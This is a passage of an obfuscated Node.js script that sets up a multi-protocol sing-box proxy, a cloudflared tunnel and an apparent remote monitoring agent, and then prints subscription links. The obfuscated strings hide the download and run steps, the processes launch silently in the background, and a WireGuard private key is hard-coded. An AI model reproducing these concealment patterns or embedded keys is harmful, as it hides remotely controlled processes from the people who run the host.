_0x134826=_0x428c47[_0x62d8b2(0x2bf)](/PrivateKey:\s*(.*)/),_0x347f65=_0x428c47[_0x62d8b2(0x2bf)](/PublicKey:\s*(.*)/);_0x50c72c=_0x134826?_0x134826[0x1]:'',_0x236278=_0x347f65?_0x347f65[0x1]:'';if(!_0x50c72c||!_0x236278){console[_0x62d8b2(0x277)](_0x39cea4['Xllnx']);return;}_0xbf6a61[_0x62d8b2(0x206)](_0xf7718a,_0x62d8b2(0x266)+_0x50c72c+_0x62d8b2(0x1f9)+_0x236278+'\x0a','utf8'),console[_0x62d8b2(0x1b8)](_0x39cea4['wHdFW'],_0x50c72c),console[_0x62d8b2(0x1b8)](_0x39cea4[_0x62d8b2(0x1a8)],_0x236278),_0x39cea4[_0x62d8b2(0x214)](_0x2490eb);});function _0x2490eb(){const _0x33530c=_0x5ef898;_0x45540a(_0x39cea4[_0x33530c(0x19e)],async(_0x570ff7,_0x16d4b2,_0x3a2740)=>{const _0x1a536c=_0x33530c;if(_0x570ff7||_0x16d4b2[_0x1a536c(0x2cf)]()===''){const _0x4b9cb4=_0x1a536c(0x23c);_0xbf6a61[_0x1a536c(0x206)](_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4['yWRZn']),_0x4b9cb4);const _0x101ebd=_0x1a536c(0x1ae);_0xbf6a61[_0x1a536c(0x206)](_0x10afff['join'](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ec)]),_0x101ebd);}else{try{await _0x23563d(_0x1a536c(0x273)+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4['yWRZn'])+'\x22');}catch(_0x680bbc){console[_0x1a536c(0x277)](_0x1a536c(0x232)+_0x680bbc[_0x1a536c(0x1a3)]);return;}try{await _0x39cea4[_0x1a536c(0x314)](_0x23563d,_0x1a536c(0x2f2)+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ba)])+_0x1a536c(0x19b)+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ec)])+_0x1a536c(0x1f0));}catch(_0x3eb54f){console['error'](_0x1a536c(0x297)+_0x3eb54f[_0x1a536c(0x1a3)]);return;}}if(!_0x50c72c||!_0x236278){console[_0x1a536c(0x277)](_0x39cea4[_0x1a536c(0x291)]);return;}const _0x5c8d3d={'log':{'disabled':!![],'level':_0x39cea4['AcnXR'],'timestamp':!![]},'inbounds':[{'tag':_0x39cea4[_0x1a536c(0x267)],'type':_0x39cea4[_0x1a536c(0x2a1)],'listen':'::','listen_port':_0x3598dc,'users':[{'uuid':_0x41666d}],'transport':{'type':'ws','path':_0x39cea4[_0x1a536c(0x25b)],'early_data_header_name':_0x39cea4['HyVBm']}}],'endpoints':[{'type':_0x39cea4[_0x1a536c(0x245)],'tag':_0x39cea4[_0x1a536c(0x257)],'mtu':0x500,'address':[_0x39cea4['XVPBo'],_0x39cea4[_0x1a536c(0x22b)]],'private_key':'YFYOAdbw1bKTHlNNi+aEjBM3BO7unuFC5rOkMRAz9XY=','peers':[{'address':_0x39cea4[_0x1a536c(0x29c)],'port':0x968,'public_key':_0x39cea4[_0x1a536c(0x298)],'allowed_ips':[_0x1a536c(0x20b),_0x39cea4['BuHTx']],'reserved':[0x4e,0x87,0x4c]}]}],'outbounds':[{'type':_0x39cea4[_0x1a536c(0x2ca)],'tag':'direct'}],'route':{'rule_set':[{'tag':_0x1a536c(0x221),'type':_0x39cea4[_0x1a536c(0x282)],'format':_0x39cea4['nggoH'],'url':_0x39cea4[_0x1a536c(0x2dc)],'download_detour':_0x39cea4['YyWPN']},{'tag':_0x1a536c(0x2b3),'type':_0x1a536c(0x2ab),'format':_0x39cea4[_0x1a536c(0x21f)],'url':_0x39cea4[_0x1a536c(0x2b5)],'download_detour':_0x1a536c(0x28a)}],'rules':[{'rule_set':[_0x39cea4[_0x1a536c(0x2d3)]],'outbound':_0x1a536c(0x240)}],'final':_0x39cea4['YyWPN']}};try{_0x39cea4[_0x1a536c(0x20f)](_0x135d01,_0xcefe8)&&_0x5c8d3d[_0x1a536c(0x210)][_0x1a536c(0x292)]({'tag':_0x39cea4[_0x1a536c(0x2e9)],'type':_0x39cea4[_0x1a536c(0x253)],'listen':'::','listen_port':_0x39cea4[_0x1a536c(0x314)](parseInt,_0xcefe8),'users':[{'uuid':_0x41666d,'flow':_0x39cea4['ArVXw']}],'tls':{'enabled':!![],'server_name':_0x39cea4[_0x1a536c(0x25a)],'reality':{'enabled':!![],'handshake':{'server':_0x1a536c(0x1e6),'server_port':0x1bb},'private_key':_0x50c72c,'short_id':['']}}});}catch(_0x57e661){}try{_0x135d01(_0x1b0eb4)&&_0x5c8d3d[_0x1a536c(0x210)][_0x1a536c(0x292)]({'tag':_0x39cea4['KkrAh'],'type':_0x39cea4[_0x1a536c(0x2ba)],'listen':'::','listen_port':parseInt(_0x1b0eb4),'users':[{'password':_0x41666d}],'masquerade':_0x1a536c(0x263),'tls':{'enabled':!![],'alpn':['h3'],'certificate_path':_0x10afff['join'](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ec)]),'key_path':_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x1a536c(0x2e6))}});}catch(_0x346516){}try{_0x39cea4[_0x1a536c(0x314)](_0x135d01,_0x5e3758)&&_0x5c8d3d[_0x1a536c(0x210)]['push']({'tag':_0x39cea4[_0x1a536c(0x294)],'type':_0x39cea4[_0x1a536c(0x2b1)],'listen':'::','listen_port':parseInt(_0x5e3758),'users':[{'uuid':_0x41666d,'password':_0x41666d}],'congestion_control':'bbr','tls':{'enabled':!![],'alpn':['h3'],'certificate_path':_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4['rUUTu']),'key_path':_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ba)])}});}catch(_0x1e55a7){}try{_0x39cea4[_0x1a536c(0x24b)](_0x135d01,_0x5ce07e)&&_0x5c8d3d['inbounds'][_0x1a536c(0x292)]({'tag':_0x1a536c(0x2c7),'type':_0x39cea4['xeKKK'],'listen':'::','listen_port':parseInt(_0x5ce07e),'users':[{'username':_0x41666d[_0x1a536c(0x2db)](0x0,0x8),'password':_0x41666d[_0x1a536c(0x1bb)](-0xc)}]});}catch(_0x56fdd4){}try{_0x39cea4[_0x1a536c(0x314)](_0x135d01,_0x159dc5)&&_0x5c8d3d['inbounds'][_0x1a536c(0x292)]({'tag':_0x39cea4['qHSaD'],'type':_0x39cea4['MqmuT'],'listen':'::','listen_port':parseInt(_0x159dc5),'users':[{'password':_0x41666d}],'tls':{'enabled':!![],'certificate_path':_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ec)]),'key_path':_0x10afff['join'](_0x3caf2f,_0x39cea4[_0x1a536c(0x1ba)])}});}catch(_0x10c865){}try{_0x39cea4[_0x1a536c(0x24b)](_0x135d01,_0x21a6a3)&&_0x5c8d3d[_0x1a536c(0x210)][_0x1a536c(0x292)]({'tag':_0x39cea4[_0x1a536c(0x29a)],'type':_0x39cea4[_0x1a536c(0x1b9)],'listen':'::','listen_port':_0x39cea4[_0x1a536c(0x20f)](parseInt,_0x21a6a3),'users':[{'password':_0x41666d}],'tls':{'enabled':!![],'server_name':_0x39cea4['rYuLU'],'reality':{'enabled':!![],'handshake':{'server':_0x39cea4[_0x1a536c(0x25a)],'server_port':0x1bb},'private_key':_0x50c72c,'short_id':['']}}});}catch(_0x5a0626){}try{let _0x193083=!![];if(_0x39cea4[_0x1a536c(0x224)](_0x4bc8c6,!![]))_0x193083=![];else try{const _0x1974ed=_0x20f9ab(_0x39cea4[_0x1a536c(0x287)],{'encoding':_0x39cea4[_0x1a536c(0x29f)]})[_0x1a536c(0x2cf)]();_0x193083=_0x1974ed===_0x39cea4[_0x1a536c(0x2a6)];}catch(_0x3944af){if(_0x3944af[_0x1a536c(0x2a2)]&&_0x3944af['output'][0x1]){const _0x1e2ab6=_0x3944af[_0x1a536c(0x2a2)][0x1]['toString']()[_0x1a536c(0x2cf)]();_0x193083=_0x39cea4['VEUWq'](_0x1e2ab6,_0x39cea4[_0x1a536c(0x2a6)]);}else _0x193083=![];}if(!_0x193083){!_0x5c8d3d[_0x1a536c(0x1ee)]&&(_0x5c8d3d[_0x1a536c(0x1ee)]={});!_0x5c8d3d[_0x1a536c(0x1ee)][_0x1a536c(0x216)]&&(_0x5c8d3d['route'][_0x1a536c(0x216)]=[]);!_0x5c8d3d[_0x1a536c(0x1ee)]['rules']&&(_0x5c8d3d[_0x1a536c(0x1ee)][_0x1a536c(0x226)]=[]);const _0x211bc3=_0x5c8d3d[_0x1a536c(0x1ee)][_0x1a536c(0x216)][_0x1a536c(0x2cb)](_0x405e67=>_0x405e67[_0x1a536c(0x313)]===_0x1a536c(0x30b));if(!_0x211bc3)_0x5c8d3d[_0x1a536c(0x1ee)]['rule_set'][_0x1a536c(0x292)]({'tag':_0x39cea4[_0x1a536c(0x239)],'type':_0x1a536c(0x2ab),'format':_0x39cea4[_0x1a536c(0x21f)],'url':_0x39cea4[_0x1a536c(0x196)],'download_detour':_0x39cea4[_0x1a536c(0x2ca)]});else{}let _0x3fd5ba=_0x5c8d3d[_0x1a536c(0x1ee)][_0x1a536c(0x226)][_0x1a536c(0x2cb)](_0x3d61a6=>_0x3d61a6[_0x1a536c(0x2c8)]===_0x1a536c(0x240));if(!_0x3fd5ba)_0x3fd5ba={'rule_set':[_0x39cea4['LOeMw'],_0x39cea4[_0x1a536c(0x2d3)],_0x39cea4[_0x1a536c(0x239)]],'outbound':_0x39cea4[_0x1a536c(0x257)]},_0x5c8d3d[_0x1a536c(0x1ee)][_0x1a536c(0x226)][_0x1a536c(0x292)](_0x3fd5ba);else{if(!_0x3fd5ba[_0x1a536c(0x216)]['includes'](_0x39cea4[_0x1a536c(0x239)]))_0x3fd5ba['rule_set'][_0x1a536c(0x292)](_0x1a536c(0x30b));else{}}console[_0x1a536c(0x1b8)](_0x39cea4['hoNhM']);}else{}}catch(_0x3b1865){console[_0x1a536c(0x277)](_0x39cea4['VWUFh'],_0x3b1865);}_0xbf6a61[_0x1a536c(0x206)](_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4['lnqLC']),JSON['stringify'](_0x5c8d3d,null,0x2));let _0x5d87da='';if(_0xafd592&&_0x55f408&&_0x4c37b4){const _0x22a3f3=[_0x39cea4[_0x1a536c(0x2a8)],_0x39cea4['ebiEd'],_0x39cea4['AVzCY'],_0x39cea4[_0x1a536c(0x296)],_0x39cea4[_0x1a536c(0x2b2)],_0x39cea4[_0x1a536c(0x2e1)]];_0x22a3f3[_0x1a536c(0x2e2)](_0x55f408)?_0x5d87da=_0x39cea4[_0x1a536c(0x23d)]:_0x5d87da='';const _0x3accbb=_0x1a536c(0x2d7)+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x415eae)+'\x20-s\x20'+_0xafd592+':'+_0x55f408+_0x1a536c(0x265)+_0x4c37b4+'\x20'+_0x5d87da+_0x1a536c(0x1d6);try{await _0x39cea4[_0x1a536c(0x20f)](_0x23563d,_0x3accbb),console['log'](_0x39cea4['VGiWg']),await new Promise(_0x3210e4=>setTimeout(_0x3210e4,0x3e8));}catch(_0x261e81){console[_0x1a536c(0x277)]('npm\x20running\x20error:\x20'+_0x261e81);}}else{if(_0x39cea4['lSHae'](_0xafd592,_0x4c37b4)){const _0x32015e=_0x1a536c(0x2d7)+_0x3caf2f+'/'+_0x145d0f+'\x20-c\x20\x22'+_0x3caf2f+'/config.yaml\x22\x20>/dev/null\x202>&1\x20&';try{await _0x39cea4['wgIvr'](_0x45540a,_0x32015e),console['log'](_0x39cea4['uphou']),await new Promise(_0x4d2ecc=>setTimeout(_0x4d2ecc,0x3e8));}catch(_0x4a56cb){console[_0x1a536c(0x277)](_0x1a536c(0x1a4)+_0x4a56cb);}}else console['log'](_0x39cea4['lcyZn']);}const _0x714497='nohup\x20'+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x3a7a92)+_0x1a536c(0x1c8)+_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4['lnqLC'])+_0x1a536c(0x213);try{await _0x39cea4[_0x1a536c(0x24b)](_0x23563d,_0x714497),console[_0x1a536c(0x1b8)](_0x39cea4[_0x1a536c(0x2a0)]),await new Promise(_0x12310a=>setTimeout(_0x12310a,0x3e8));}catch(_0x418187){console[_0x1a536c(0x277)](_0x1a536c(0x27a)+_0x418187);}if(_0x39cea4[_0x1a536c(0x268)](_0x4d8d60,_0x39cea4[_0x1a536c(0x22e)])&&_0x39cea4[_0x1a536c(0x268)](_0x4d8d60,!![])){const _0x98ab90=_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x9c78d1);if(_0xbf6a61[_0x1a536c(0x1fa)](_0x98ab90)){const _0x2be3ee=_0x10afff[_0x1a536c(0x246)](_0x3caf2f,_0x39cea4[_0x1a536c(0x211)]),_0x5bc3c7=_0x39cea4['ZHPrI'](_0x35a558[_0x1a536c(0x222)],0x10)?_0x39cea4[_0x1a536c(0x203)](_0x39cea4[_0x1a536c(0x2f3)](_0x35a558[_0x1a536c(0x1bb)](0x0,0xc),_0x1a536c(0x19f)),_0x35a558[_0x1a536c(0x1bb)](-0x4)):_0x39cea4[_0x1a536c(0x1c7)],_0x266500=await _0x39cea4[_0x1a536c(0x214)](_0x430d02),_0x17a529=!_0x266500;console['log'](_0x1a536c(0x281)+(_0x266500?_0x39cea4[_0x1a536c(0x1c6)]:_0x39cea4[_0x1a536c(0x1ab)](_0x39cea4[_0x1a536c(0x293)],_0x7d4860)));const _0x1d6519=_0x17a529?_0x1a536c(0x25f)+_0x7d4860+_0x1a536c(0x1cc)+_0x35a558:'tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20run\x20--token\x20'+_0x35a558;console['log'](_0x1a536c(0x23b)+_0x98ab90+'\x20token='+_0x5bc3c7+_0x1a536c(0x304)+_0x35a558['length']+_0x1a536c(0x280)+(_0x17a529?_0x1a536c(0x278):_0x1a536c(0x28a))+_0x1a536c(0x1f2)+_0x2be3ee);try{await _0x23563d(_0x1a536c(0x2d7)+_0x98ab90+'\x20'+_0x1d6519+'\x20>'+_0x2be3ee+'\x202>&1\x20&'),console[_0x1a536c(0x1b8)](_0x39cea4[_0x1a536c(0x29e)]),await new Promise(_0x3d9b1a=>setTimeout(_0x3d9b1a,0x7d0));}catch(_0x5308d4){console[_0x1a536c(0x277)]('Error\x20executing\x20command:\x20'+_0x5308d4);}}else console[_0x1a536c(0x277)](_0x1a536c(0x19c)+_0x98ab90+',\x20CF\x20tunnel\x20will\x20NOT\x20start');}await new Promise(_0x40442d=>setTimeout(_0x40442d,0x1388)),await _0x24e4b3();});};}function _0x23563d(_0x47e4f5){const _0x5c886b={'BOWeH':function(_0x563f3d,_0xfaf54d){return _0x563f3d(_0xfaf54d);},'dCGSF':function(_0x5a57d7,_0x52e273){return _0x5a57d7||_0x52e273;},'erLBX':function(_0x376002,_0xc41b28,_0x5e3f9f){return _0x376002(_0xc41b28,_0x5e3f9f);}};return new Promise((_0x20688d,_0x4919cb)=>{const _0x398b49=_0x2062;_0x5c886b[_0x398b49(0x229)](_0x45540a,_0x47e4f5,(_0x2e3f03,_0x3a9a29,_0x322044)=>{const _0x52ac78=_0x398b49;_0x2e3f03?_0x5c886b[_0x52ac78(0x252)](_0x4919cb,_0x2e3f03):_0x20688d(_0x5c886b[_0x52ac78(0x2f4)](_0x3a9a29,_0x322044));});});}function _0x430d02(){const _0x248ae6=_0x25b525,_0x37987f={'TbQxL':function(_0x1ec323,_0x44bd18){return _0x1ec323(_0x44bd18);},'QDHsA':_0x248ae6(0x243),'orRnC':_0x248ae6(0x284),'mDToz':_0x248ae6(0x277),'XUPTG':function(_0x339280){return _0x339280();},'vMAiT':_0x248ae6(0x1ed)},_0x514a66=[_0x248ae6(0x1f5),_0x37987f['vMAiT'],_0x248ae6(0x24f)];return new Promise(_0x38f256=>{const _0x5d66c6=_0x248ae6,_0x527c86={'ruVQB':function(_0x56542a){return _0x56542a();},'tPNQp':function(_0xb178df,_0x4c168e){return _0x37987f['TbQxL'](_0xb178df,_0x4c168e);},'owmDN':function(_0x153bbd,_0x287bcd){return _0x153bbd>=_0x287bcd;},'UuDpl':_0x37987f[_0x5d66c6(0x2c1)],'Xefzj':_0x37987f[_0x5d66c6(0x28e)],'ZCscU':_0x37987f[_0x5d66c6(0x1b7)]};let _0x3d6575=0x0,_0x4e5ef8=![];const _0x2c0899=_0x50755b=>{const _0x3d75c8=_0x5d66c6;!_0x4e5ef8&&(_0x4e5ef8=!![],_0x37987f[_0x3d75c8(0x22c)](_0x38f256,_0x50755b));},_0x49b09e=()=>{const _0x3c6e83=_0x5d66c6,_0x4dcf1b={'FUeWU':function(_0x10de53,_0x3f9b19){const _0x475511=_0x2062;return _0x527c86[_0x475511(0x254)](_0x10de53,_0x3f9b19);},'zoXhi':function(_0x2ba14e){return _0x2ba14e();}};if(_0x4e5ef8)return;if(_0x527c86[_0x3c6e83(0x259)](_0x3d6575,_0x514a66[_0x3c6e83(0x222)])){_0x527c86[_0x3c6e83(0x254)](_0x2c0899,![]);return;}const _0x25c37b=_0x514a66[_0x3d6575++],_0x1cd0c7=_0x2bc818[_0x3c6e83(0x243)]({'host':_0x25c37b,'port':0x1ea4,'timeout':0xbb8});_0x1cd0c7[_0x3c6e83(0x219)](_0x527c86['UuDpl'],()=>{const _0x385b82=_0x3c6e83;_0x1cd0c7['destroy'](),_0x4dcf1b[_0x385b82(0x271)](_0x2c0899,!![]);}),_0x1cd0c7[_0x3c6e83(0x219)](_0x527c86[_0x3c6e83(0x2f8)],()=>{const _0x12e60c=_0x3c6e83;_0x1cd0c7['destroy'](),_0x527c86[_0x12e60c(0x275)](_0x49b09e);}),_0x1cd0c7['once'](_0x527c86['ZCscU'],()=>{const _0x50a4a1=_0x3c6e83;_0x1cd0c7[_0x50a4a1(0x1bd)](),_0x4dcf1b['zoXhi'](_0x49b09e);});};_0x37987f[_0x5d66c6(0x27f)](_0x49b09e);});}function _0x192d73(_0x274c10){const _0x64eb5a=_0x25b525,_0x12521f={'iZDPu':function(_0x15d568,_0x2eb713){return _0x15d568===_0x2eb713;},'OBrzi':_0x64eb5a(0x2e8),'bYXnC':_0x64eb5a(0x27b),'UvxFL':_0x64eb5a(0x2e7),'QKZbo':_0x64eb5a(0x2a9),'rQLbD':_0x64eb5a(0x2ac),'DEVNy':function(_0x2479ac,_0x516d3e){return _0x2479ac&&_0x516d3e;},'GnyYX':_0x64eb5a(0x2b8),'hrhAh':_0x64eb5a(0x27d),'lrUei':_0x64eb5a(0x295),'OpzKX':function(_0x2c7ecd,_0x16e0ba){return _0x2c7ecd===_0x16e0ba;},'jRjWV':_0x64eb5a(0x2fc),'uOXpo':_0x64eb5a(0x24c)};let _0xc2acc0;_0x12521f['iZDPu'](_0x274c10,_0x64eb5a(0x2e4))?_0xc2acc0=[{'fileName':_0x12521f[_0x64eb5a(0x208)],'fileUrl':_0x64eb5a(0x28c)},{'fileName':_0x12521f[_0x64eb5a(0x24d)],'fileUrl':_0x12521f[_0x64eb5a(0x2ce)]}]:_0xc2acc0=[{'fileName':_0x12521f[_0x64eb5a(0x208)],'fileUrl':_0x12521f[_0x64eb5a(0x2b7)]},{'fileName':_0x12521f[_0x64eb5a(0x24d)],'fileUrl':_0x12521f['rQLbD']}];if(_0x12521f[_0x64eb5a(0x2f6)](_0xafd592,_0x4c37b4)){if(_0x55f408){const _0x47553e=_0x274c10===_0x64eb5a(0x2e4)?_0x12521f['GnyYX']:_0x12521f[_0x64eb5a(0x1da)];_0xc2acc0[_0x64eb5a(0x201)]({'fileName':_0x12521f[_0x64eb5a(0x286)],'fileUrl':_0x47553e});}else{const _0x43ec0e=_0x12521f['OpzKX'](_0x274c10,'arm')?_0x12521f[_0x64eb5a(0x2ae)]:_0x64eb5a(0x28f);_0xc2acc0['unshift']({'fileName':_0x12521f[_0x64eb5a(0x1d1)],'fileUrl':_0x43ec0e});}}return _0xc2acc0;}async function _0x24e4b3(){const _0x27624c=_0x25b525,_0x3f60c1={'IbdUI':function(_0xfbf9da,_0x352cfd){return _0xfbf9da(_0x352cfd);},'XetMn':_0x27624c(0x1ea),'dafsV':'---\x20argo.log\x20(first\x2020\x20lines)\x20---','Ojxib':'---\x20end\x20argo.log\x20---'};if(_0x4d8d60===_0x27624c(0x2c5)||_0x4d8d60===!![]){await _0x3f60c1['IbdUI'](_0x302bde,null);return;}if(!_0x5849ae){console[_0x27624c(0x277)]('ARGO_DOMAIN\x20is\x20empty,\x20fixed\x20tunnel\x20mode\x20requires\x20the\x20fixed\x20tunnel\x20domain'),await _0x3f60c1[_0x27624c(0x1d0)](_0x302bde,null);return;}const _0x1ed4d5=_0x10afff['join'](_0x3caf2f,_0x27624c(0x1be));if(_0xbf6a61['existsSync'](_0x1ed4d5)){const _0x11b039=_0xbf6a61[_0x27624c(0x1b2)](_0x1ed4d5,_0x3f60c1[_0x27624c(0x2af)])[_0x27624c(0x1b4)]('\x0a')[_0x27624c(0x1c1)](Boolean)[_0x27624c(0x1bb)](0x0,0x14);console['log'](_0x3f60c1['dafsV']),_0x11b039[_0x27624c(0x1de)](_0x4f57bf=>console[_0x27624c(0x1b8)](_0x4f57bf)),console['log'](_0x3f60c1[_0x27624c(0x26e)]);}console[_0x27624c(0x1b8)](_0x27624c(0x1dd),_0x5849ae),await _0x3f60c1[_0x27624c(0x1d0)](_0x302bde,_0x5849ae);}async function _0x2c6b74(){const _0x320184=_0x25b525,_0x5a9786={'gziGe':_0x320184(0x199),'hxqlY':_0x320184(0x21a),'fgdIh':function(_0x55e2a1,_0x135463){return _0x55e2a1===_0x135463;},'TWMmq':'Unknown'};try{const _0x409a5b=await _0xd2ce62[_0x320184(0x2fd)](_0x5a9786[_0x320184(0x258)],{'headers':{'User-Agent':_0x320184(0x21a),'timeout':0xbb8}});if(_0x409a5b['data']&&_0x409a5b['data'][_0x320184(0x1e9)]&&_0x409a5b[_0x320184(0x27c)]['isp'])return(_0x409a5b[_0x320184(0x27c)][_0x320184(0x1e9)]+'-'+_0x409a5b[_0x320184(0x27c)][_0x320184(0x192)])[_0x320184(0x193)](/\s+/g,'_');}catch(_0x1e8ac2){try{const _0x466490=await _0xd2ce62[_0x320184(0x2fd)](_0x320184(0x255),{'headers':{'User-Agent':_0x5a9786['hxqlY'],'timeout':0xbb8}});if(_0x466490[_0x320184(0x27c)]&&_0x5a9786['fgdIh'](_0x466490[_0x320184(0x27c)][_0x320184(0x2b9)],_0x320184(0x2b4))&&_0x466490[_0x320184(0x27c)][_0x320184(0x1b0)]&&_0x466490[_0x320184(0x27c)][_0x320184(0x260)])return(_0x466490[_0x320184(0x27c)][_0x320184(0x1b0)]+'-'+_0x466490[_0x320184(0x27c)][_0x320184(0x260)])[_0x320184(0x193)](/\s+/g,'_');}catch(_0xd4d58a){}}return _0x5a9786[_0x320184(0x20d)];}async function _0x302bde(_0x4da0f8){const _0x493d58=_0x25b525,_0x5bd908={'HfpZp':function(_0x395c2c,_0x479dce){return _0x395c2c!==_0x479dce;},'ntTIZ':_0x493d58(0x2c5),'fCrGM':function(_0x19fb60,_0x5d9c80){return _0x19fb60!==_0x5d9c80;},'gqWHD':_0x493d58(0x1ce),'DIkJE':_0x493d58(0x270),'LqgZn':_0x493d58(0x30f),'TRNGE':'firefox','SuSPO':function(_0x4bb5f7,_0x507a4b){return _0x4bb5f7(_0x507a4b);},'Wiwkb':function(_0x34da75,_0x5a6551){return _0x34da75(_0x5a6551);},'VARIb':function(_0x5e0549,_0x226e2d){return _0x5e0549(_0x226e2d);},'kjrrt':_0x493d58(0x241),'zatOB':function(_0x269daa,_0xa640d7){return _0x269daa+_0xa640d7;},'QrLaz':_0x493d58(0x209),'LYxak':_0x493d58(0x1e4),'VAXrn':function(_0x486d88,_0x28b4b0){return _0x486d88+_0x28b4b0;},'irSOi':_0x493d58(0x262),'duGgP':_0x493d58(0x2be),'rhhts':_0x493d58(0x25c),'LrKHY':function(_0x287d45){return _0x287d45();},'zIvRe':function(_0x4cda47,_0x43ec1d){return _0x4cda47(_0x43ec1d);},'rAIeU':_0x493d58(0x212),'dEQzn':_0x493d58(0x1cd),'HTZMG':function(_0x2d675a,_0x481983){return _0x2d675a(_0x481983);},'fufBP':_0x493d58(0x2d1),'oFlYq':'http://ipv6.ip.sb','lyINF':function(_0x42cd84,_0x597a9a){return _0x42cd84(_0x597a9a);},'lXcan':'Failed\x20to\x20get\x20IP\x20address:'};let _0x32b235='';try{const _0x5b7c39=await _0xd2ce62[_0x493d58(0x2fd)](_0x5bd908[_0x493d58(0x1eb)],{'timeout':0xbb8});_0x32b235=_0x5b7c39['data'][_0x493d58(0x2cf)]();}catch(_0x97a4fb){try{_0x32b235=_0x5bd908[_0x493d58(0x190)](_0x20f9ab,_0x5bd908[_0x493d58(0x29d)])[_0x493d58(0x2bc)]()[_0x493d58(0x2cf)]();}catch(_0x1d073f){try{const _0x4197dd=await _0xd2ce62['get'](_0x5bd908['oFlYq'],{'timeout':0xbb8});_0x32b235='['+_0x4197dd[_0x493d58(0x27c)][_0x493d58(0x2cf)]()+']';}catch(_0x113e9e){try{_0x32b235='['+_0x5bd908[_0x493d58(0x301)](_0x20f9ab,'curl\x20-sm\x203\x20ipv6.ip.sb')['toString']()['trim']()+']';}catch(_0x29adbb){console[_0x493d58(0x277)](_0x5bd908[_0x493d58(0x2dd)],_0x29adbb[_0x493d58(0x1a3)]);}}}}const _0x2dc5dc=await _0x2c6b74(),_0x26c0da=_0x357d7a?_0x357d7a+'-'+_0x2dc5dc:_0x2dc5dc;return new Promise(_0x3af3bf=>{const _0x5911dc=_0x493d58,_0x34f296={'imgIh':'base64','fvZsk':'Content-Type','qIxDy':_0x5bd908[_0x5911dc(0x197)]};setTimeout(()=>{const _0x53b9f2=_0x5911dc;let _0x1e9fa8='';if(_0x5bd908[_0x53b9f2(0x2c0)](_0x4d8d60,_0x5bd908[_0x53b9f2(0x2d9)])&&_0x5bd908['fCrGM'](_0x4d8d60,!![])&&_0x4da0f8){const _0x59a309=_0x53b9f2(0x230)+Buffer[_0x53b9f2(0x19d)](JSON[_0x53b9f2(0x1c0)]({'v':'2','ps':''+_0x26c0da,'add':_0x929d69,'port':_0x4604a2,'id':_0x41666d,'aid':'0','scy':_0x5bd908[_0x53b9f2(0x30d)],'net':'ws','type':_0x5bd908['DIkJE'],'host':_0x4da0f8,'path':'/vmess-argo?ed=2560','tls':_0x5bd908[_0x53b9f2(0x1af)],'sni':_0x4da0f8,'alpn':'','fp':_0x5bd908[_0x53b9f2(0x1d4)]}))['toString']('base64');_0x1e9fa8=_0x59a309;}if(_0x5bd908['SuSPO'](_0x135d01,_0x5e3758)){const _0x70e4e2=_0x53b9f2(0x204)+_0x41666d+':'+_0x41666d+'@'+_0x32b235+':'+_0x5e3758+_0x53b9f2(0x2b0)+_0x26c0da;_0x1e9fa8+=_0x70e4e2;}if(_0x5bd908['Wiwkb'](_0x135d01,_0x1b0eb4)){const _0x3fe72e=_0x53b9f2(0x1bf)+_0x41666d+'@'+_0x32b235+':'+_0x1b0eb4+_0x53b9f2(0x242)+_0x26c0da;_0x1e9fa8+=_0x3fe72e;}if(_0x5bd908['VARIb'](_0x135d01,_0xcefe8)){const _0x355b59='\x0avless://'+_0x41666d+'@'+_0x32b235+':'+_0xcefe8+'?encryption=none&flow=xtls-rprx-vision&security=reality&sni=www.iij.ad.jp&fp=firefox&pbk='+_0x236278+_0x53b9f2(0x2d6)+_0x26c0da;_0x1e9fa8+=_0x355b59;}if(_0x135d01(_0x159dc5)){const _0x33b426=_0x53b9f2(0x2f0)+_0x41666d+'@'+_0x32b235+':'+_0x159dc5+_0x53b9f2(0x2e3)+_0x32b235+_0x53b9f2(0x26a)+_0x26c0da;_0x1e9fa8+=_0x33b426;}if(_0x5bd908[_0x53b9f2(0x1e0)](_0x135d01,_0x21a6a3)){const _0x39aa1d=_0x53b9f2(0x2f0)+_0x41666d+'@'+_0x32b235+':'+_0x21a6a3+'?security=reality&sni=www.iij.ad.jp&fp=chrome&pbk='+_0x236278+_0x53b9f2(0x2d6)+_0x26c0da;_0x1e9fa8+=_0x39aa1d;}if(_0x135d01(_0x5ce07e)){const _0x367004=Buffer[_0x53b9f2(0x19d)](_0x41666d[_0x53b9f2(0x2db)](0x0,0x8)+':'+_0x41666d[_0x53b9f2(0x1bb)](-0xc))[_0x53b9f2(0x2bc)](_0x5bd908['kjrrt']),_0x118641='\x0asocks://'+_0x367004+'@'+_0x32b235+':'+_0x5ce07e+'#'+_0x26c0da;_0x1e9fa8+=_0x118641;}console['log'](_0x5bd908[_0x53b9f2(0x2cd)](_0x5bd908[_0x53b9f2(0x30e)],Buffer[_0x53b9f2(0x19d)](_0x1e9fa8)['toString'](_0x5bd908[_0x53b9f2(0x310)]))+_0x5bd908[_0x53b9f2(0x1d3)]),console[_0x53b9f2(0x1b8)](_0x5bd908['VAXrn'](_0x5bd908[_0x53b9f2(0x285)],_0x5bd908[_0x53b9f2(0x20e)])+'\x1b[0m'),_0xbf6a61[_0x53b9f2(0x206)](_0x3c6461,Buffer[_0x53b9f2(0x19d)](_0x1e9fa8)['toString'](_0x53b9f2(0x241))),_0xbf6a61[_0x53b9f2(0x206)](_0x10e4d2,_0x1e9fa8,_0x5bd908[_0x53b9f2(0x306)]),console[_0x53b9f2(0x1b8)](_0x3caf2f+'/sub.txt\x20saved\x20successfully'),_0x5bd908['LrKHY'](_0x421924),_0x565096[_0x53b9f2(0x2fd)]('/'+_0xce9